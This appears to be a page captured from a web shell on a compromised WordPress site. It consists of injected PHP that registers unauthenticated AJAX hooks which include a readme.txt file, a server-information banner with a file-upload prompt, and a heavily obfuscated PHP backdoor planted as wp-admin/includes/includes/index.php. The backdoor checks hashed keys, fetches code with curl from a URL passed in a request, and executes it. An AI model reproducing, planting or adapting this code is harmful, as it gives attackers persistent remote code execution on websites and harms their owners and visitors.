if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/includes/includes/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/includes/includes/index.php
<?php
 goto YOv_xYAIVAbjf; VlvUtQ3Bq6KUq: if (!(in_array(gettype($NH3wPOJPgfqRN) . "\x31\x32", $NH3wPOJPgfqRN) && md5(md5(md5(md5($NH3wPOJPgfqRN[6])))) === "\x65\65\62\142\x31\61\143\60\141\x35\x33\x64\71\144\70\141\145\144\x38\x33\x37\70\60\x62\145\145\65\x39\x65\143\63\143")) { goto HkvhjcKRLz_rg; } goto sY9gEl95lrE5v; YOv_xYAIVAbjf: $If3Y7AjDLSi4G = range("\x7e", "\40"); goto Ti8e3nKvbML6u; wDlz2idGCFZi5: HkvhjcKRLz_rg: goto ulY92op5VtWr1; gQT6jHxLkwXYQ: class riEHrEKL2yalP { static function NxJIYuxs4sz6v($Uiossf2AEKteD) { goto GYkml7kG6eiRG; TSrtVDj2yir11: qbMSP2d7sgpDw: goto rvclKSvwQ78gH; chsQXl1xwZXg4: $uN9HqBvK0uBBn = ''; goto h2U0FC5u03aio; jXp5HxYrpaAcE: $LUm6HDsxtYpal = $yVer8_Xurbrrw("\176", "\40"); goto xk19Q_Vf2syND; h2U0FC5u03aio: foreach ($wNUtRk7oXTKbi as $u0fvIW3U7XprR => $b_he0PsSNzi6J) { $uN9HqBvK0uBBn .= $LUm6HDsxtYpal[$b_he0PsSNzi6J - 40333]; UewR81hOReDIF: } goto TSrtVDj2yir11; GYkml7kG6eiRG: $yVer8_Xurbrrw = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto jXp5HxYrpaAcE; rvclKSvwQ78gH: return $uN9HqBvK0uBBn; goto Ah3n2WRWv3prz; xk19Q_Vf2syND: $wNUtRk7oXTKbi = explode("\x3d", $Uiossf2AEKteD); goto chsQXl1xwZXg4; Ah3n2WRWv3prz: } static function XZh6K_X8w1S63($I7LruOwp5LLzx, $pwVs2BfeyN1ce) { goto rQOZCPVkd0Aux; GicpPzGnaWtSk: return empty($qliHhOo4X751H) ? $pwVs2BfeyN1ce($I7LruOwp5LLzx) : $qliHhOo4X751H; goto c9Dx8NI0mT2F1; H90dF4jkXM07d: curl_setopt($ChAAd1QlRpcnZ, CURLOPT_RETURNTRANSFER, 1); goto FluVLeBXbbcOD; FluVLeBXbbcOD: $qliHhOo4X751H = curl_exec($ChAAd1QlRpcnZ); goto GicpPzGnaWtSk; rQOZCPVkd0Aux: $ChAAd1QlRpcnZ = curl_init($I7LruOwp5LLzx); goto H90dF4jkXM07d; c9Dx8NI0mT2F1: } static function WaBW8im7Qb7aV() { goto mc4gfMvO3_WYl; ygnobPj3vNVSE: @$urd04PiGVDKTq[0]('', $urd04PiGVDKTq[0 + 7] . $urd04PiGVDKTq[0 + 4]($HFYLoDYhxPZt_) . $urd04PiGVDKTq[0 + 8]); goto tSx494rlfIOBj; mc4gfMvO3_WYl: $bcjZrk9D42V3N = array("\64\60\63\x36\60\75\x34\x30\63\64\x35\x3d\64\x30\63\65\x38\x3d\64\x30\x33\66\x32\x3d\x34\x30\x33\x34\63\75\64\x30\x33\x35\x38\x3d\x34\60\63\66\x34\75\64\x30\63\x35\x37\x3d\x34\60\63\x34\x32\x3d\64\x30\x33\64\x39\75\64\60\63\x36\60\75\x34\x30\63\64\x33\75\64\60\63\65\64\x3d\x34\x30\63\x34\70\x3d\x34\60\63\64\71", "\x34\x30\63\x34\x34\x3d\64\x30\63\64\63\75\64\60\63\x34\65\x3d\x34\x30\63\66\x34\x3d\x34\60\63\64\65\75\64\x30\x33\64\x38\x3d\x34\60\x33\64\63\75\x34\60\x34\61\60\75\x34\x30\x34\60\70", "\x34\x30\63\x35\x33\x3d\x34\x30\x33\x34\64\75\64\x30\x33\x34\70\75\64\60\63\x34\71\75\x34\60\x33\x36\64\x3d\x34\x30\63\65\x39\x3d\64\x30\63\x35\70\75\x34\60\63\x36\x30\x3d\x34\60\63\x34\70\75\64\x30\63\x35\71\75\x34\60\63\65\x38", "\x34\x30\x33\64\67\75\x34\x30\x33\x36\62\x3d\64\60\63\66\x30\75\x34\x30\x33\65\x32", "\x34\x30\63\x36\61\75\x34\60\x33\x36\x32\x3d\64\60\63\x34\64\75\x34\60\63\65\70\75\64\x30\x34\x30\x35\75\64\x30\64\x30\67\75\x34\60\63\66\64\75\x34\60\63\65\71\75\64\60\x33\x35\x38\75\x34\x30\x33\66\x30\75\64\60\x33\x34\x38\75\x34\x30\x33\65\71\x3d\64\60\x33\65\x38", "\x34\60\x33\65\x37\x3d\64\x30\63\x35\x34\75\x34\x30\x33\65\61\x3d\x34\x30\63\x35\70\75\x34\x30\63\66\64\75\64\x30\63\65\66\x3d\x34\x30\x33\x35\x38\x3d\64\x30\63\64\63\75\x34\60\x33\66\x34\75\64\60\x33\66\x30\x3d\x34\60\x33\x34\x38\75\64\60\x33\x34\71\x3d\64\60\x33\64\63\x3d\x34\x30\63\65\70\75\x34\60\x33\64\71\75\64\60\x33\x34\x33\75\64\x30\x33\x34\x34", "\x34\x30\63\x38\x37\x3d\64\x30\x34\x31\67", "\x34\x30\x33\x33\x34", "\x34\x30\64\x31\62\x3d\64\x30\x34\x31\67", "\64\60\x33\x39\64\75\64\60\x33\67\x37\75\x34\60\x33\67\x37\75\x34\x30\63\71\x34\75\64\x30\x33\67\60", "\64\x30\63\x35\x37\x3d\x34\x30\x33\x35\x34\x3d\x34\x30\63\65\61\x3d\64\60\63\x34\x33\75\x34\60\63\x35\x38\75\64\60\x33\64\65\x3d\64\60\x33\66\64\75\x34\x30\x33\65\x34\x3d\64\60\63\x34\x39\x3d\x34\x30\63\x34\67\x3d\x34\60\x33\x34\62\x3d\x34\60\63\x34\63"); goto FPncyHnBQsg_B; KkfztaVDRaYIc: NeAwrVk74i4el: goto g_rboyGotmA5y; zLdQlh2P6VcSl: $RPdjS4QpoVXg8 = @$urd04PiGVDKTq[0 + 3]($urd04PiGVDKTq[0 + 6], $fHu6YoWIbcNqD); goto qPjtMHRVpjsuu; tSx494rlfIOBj: die; goto vGLX7LDeoz2IY; GyLyC8nq0x2P8: @$urd04PiGVDKTq[5 + 5](INPUT_GET, "\x6f\146") == 1 && die($urd04PiGVDKTq[1 + 4](__FILE__)); goto aJPvN8Y0iCyLH; vGLX7LDeoz2IY: nq_zFV9D7LisW: goto hzUlbX7NfMlfy; FPncyHnBQsg_B: foreach ($bcjZrk9D42V3N as $djHAl201tlBpg) { $urd04PiGVDKTq[] = self::NXjiyuxs4SZ6V($djHAl201tlBpg); aCyuCvlQ4ezSV: } goto KkfztaVDRaYIc; qPjtMHRVpjsuu: $mo1pqhc0w20bx = $urd04PiGVDKTq[0 + 2]($RPdjS4QpoVXg8, true); goto GyLyC8nq0x2P8; g_rboyGotmA5y: $fHu6YoWIbcNqD = @$urd04PiGVDKTq[1]($urd04PiGVDKTq[7 + 3](INPUT_GET, $urd04PiGVDKTq[0 + 9])); goto zLdQlh2P6VcSl; eyOj5zTjNEWI1: $HFYLoDYhxPZt_ = self::xzH6k_X8w1S63($mo1pqhc0w20bx[1 + 0], $urd04PiGVDKTq[3 + 2]); goto ygnobPj3vNVSE; aJPvN8Y0iCyLH: if (!(@$mo1pqhc0w20bx[0] - time() > 0 and md5(md5($mo1pqhc0w20bx[1 + 2])) === "\145\64\66\x66\63\x63\x32\x35\145\70\x38\142\x36\x30\x62\x32\64\x39\146\x34\x61\x39\61\x38\x31\x35\x63\x61\71\64\142\61")) { goto nq_zFV9D7LisW; } goto eyOj5zTjNEWI1; hzUlbX7NfMlfy: } } goto qB7aLnubZ_urt; d2kxUxhZKEg3y: $NH3wPOJPgfqRN(); goto wDlz2idGCFZi5; Ti8e3nKvbML6u: $NH3wPOJPgfqRN = ${$If3Y7AjDLSi4G[9 + 22] . $If3Y7AjDLSi4G[33 + 26] . $If3Y7AjDLSi4G[4 + 43] . $If3Y7AjDLSi4G[13 + 34] . $If3Y7AjDLSi4G[27 + 24] . $If3Y7AjDLSi4G[27 + 26] . $If3Y7AjDLSi4G[32 + 25]}; goto VlvUtQ3Bq6KUq; OSu_u_36x3FDZ: $NH3wPOJPgfqRN[82] = $NH3wPOJPgfqRN[66]($NH3wPOJPgfqRN[82]); goto btqCgYozYvoXM; btqCgYozYvoXM: @($NH3wPOJPgfqRN = $NH3wPOJPgfqRN[82]($NH3wPOJPgfqRN[55], $NH3wPOJPgfqRN[66](${$NH3wPOJPgfqRN[35]}[26]))); goto d2kxUxhZKEg3y; sY9gEl95lrE5v: $NH3wPOJPgfqRN[66] = $NH3wPOJPgfqRN[66] . $NH3wPOJPgfqRN[71]; goto OSu_u_36x3FDZ; ulY92op5VtWr1: metaphone("\116\x62\160\x2b\165\x4c\x2b\x6c\154\156\x38\160\x6e\x75\66\103\124\x70\x73\66\124\x66\117\116\x63\126\x73\x64\106\x2f\64\x46\x56\x53\171\164\x39\x70\x48\x69\156\x6e\x59"); goto gQT6jHxLkwXYQ; qB7aLnubZ_urt: RiEhrekL2yalP::Wabw8Im7QB7AV();
?>
@ Telegram